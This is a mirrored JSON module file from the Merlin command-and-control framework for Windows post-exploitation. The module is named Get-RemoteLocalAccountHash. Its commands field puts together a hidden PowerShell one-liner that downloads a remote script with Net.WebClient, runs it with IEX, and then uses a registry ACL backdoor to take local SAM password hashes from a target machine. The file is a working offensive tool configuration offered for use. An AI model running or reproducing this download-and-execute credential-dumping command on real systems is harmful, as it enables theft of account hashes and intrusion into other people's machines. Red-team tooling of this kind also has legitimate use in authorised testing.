mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
Ne0nd0g
32 lines
1.6 KiB
JSON
32 lines
1.6 KiB
JSON
{
|
|
"base": {
|
|
"name": "Get-RemoteLocalAccountHash",
|
|
"type": "standard",
|
|
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
|
|
"credits": ["Matt Nelson (@enigma0x3)", "Lee Christensen (@tifkin_)", "Will Schroeder (@harmj0y)"],
|
|
"path": ["windows", "x64", "powershell", "persistence", "Get-RemoteLocalAccountHash.json"],
|
|
"platform": "windows",
|
|
"arch": "x64",
|
|
"lang": "powershell",
|
|
"privilege": true,
|
|
"remote": "https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1",
|
|
"local": ["data", "src", "HarmJ0y", "DAMP", "RemoteHashRetrieval.ps1"],
|
|
"options": [
|
|
{"name": "ComputerName", "value": null, "required": false, "flag": "-ComputerName", "description":"Specifies the hostname to retrieve the local user account hash for. Defaults to localhost."},
|
|
{"name": "Verbose", "value": null, "required": false, "flag": "-Verbose", "description":"Enable verbose output"}
|
|
],
|
|
"description": "Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local SAM account hashes for the specified machine.",
|
|
"notes": "Opens up the remote registry instance specified by -ComputerName, retrieves the SysKey/bootkey with Get-RemoteBootKey, uses the BootKey to calculate the HBootKey, and uses the HBootKey to decrypt local user account hashes.",
|
|
"commands": [
|
|
"powershell.exe",
|
|
"-nop",
|
|
"-w", "0",
|
|
"\"IEX",
|
|
"(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1');",
|
|
"Get-RemoteLocalAccountHash",
|
|
"{{ComputerName}}",
|
|
"{{Verbose.Flag}}",
|
|
"\""
|
|
]
|
|
}
|
|
} |